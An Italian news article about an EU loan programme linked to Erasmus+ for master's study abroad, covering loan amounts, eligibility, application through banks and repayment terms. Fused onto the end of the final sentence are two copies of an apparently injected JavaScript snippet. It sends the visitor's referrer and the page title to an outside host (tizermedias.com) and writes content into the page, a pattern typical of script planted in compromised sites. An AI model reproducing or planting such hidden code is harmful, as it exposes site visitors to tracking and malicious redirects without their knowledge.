Programma prestiti UE per studiare all'estero

L’Unione Europea lancia un programma di prestiti per far sì che studiare all’estero non sia più un sogno per pochi. Prendere una laurea magistrale o conseguire un master di primo livello in un altro Paese sarà possibile grazie a finanziamenti che potranno arrivare fino a 12mila euro per corsi annuali o 18mila per quelli biennali e che serviranno a coprire i costi dei percorsi di studio e mantenersi durante il soggiorno.

La Commissione europea e il Fondo europeo per gli investimenti (Fei) hanno appena avviato un bando per coinvolgere istituti finanziari e di credito nel programma di prestiti UE per studiare all’estero. Il piano di aiuti finanziari è legato a Erasmus+ e consentirà di iscriversi in uno dei 33 paesi che aderiscono al programma di mobilità internazionale.

Con il programma di prestiti UE per studiare all’estero le istituzioni comunitarie puntano a intensificare ulteriormente gli scambi di studenti e rientra nella Strategia europea 2020. Potranno richiedere il finanziamento solo gli studenti che risiedono in uno dei paesi aderenti a Erasmus+ e che hanno conseguito una laurea triennale (o un titolo equipollente). L’ultimo requisito per accedere ai prestiti è quello di aver ottenuto l’ammissione ad un percorso di studi di secondo livello (laurea magistrale o master di primo livello) in un altro dei paesi che aderiscono al programma di mobilità internazionale studentesca, tale Paese non deve coincidere con quello nel quale si è ottenuta la laurea di primo livello.

Coloro che vorranno usufruire del programma di prestiti UE per studiare all’estero dovranno far richiesta direttamente agli istituti finanziari e di credito del Paese di residenza. La lista delle banche e degli altri enti ai quali potrà essere inoltrata l’istanza sarà segnalata sul sito del Fondo europeo e su quello della Commissione europea nella sezione relativa a Erasmus+. Il tasso di interesse applicato ai prestiti sarà agevolato e prima di iniziare la restituzione trascorrerà un anno dal termine degli studi, in modo che lo studente abbia una finestra temporale nella quale poter trovare un impiego. Il programma di prestiti UE per studiare all’estero dovrebbe partire nell’autunno 2015 e si stima di poter erogare circa 200mila prestiti.(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();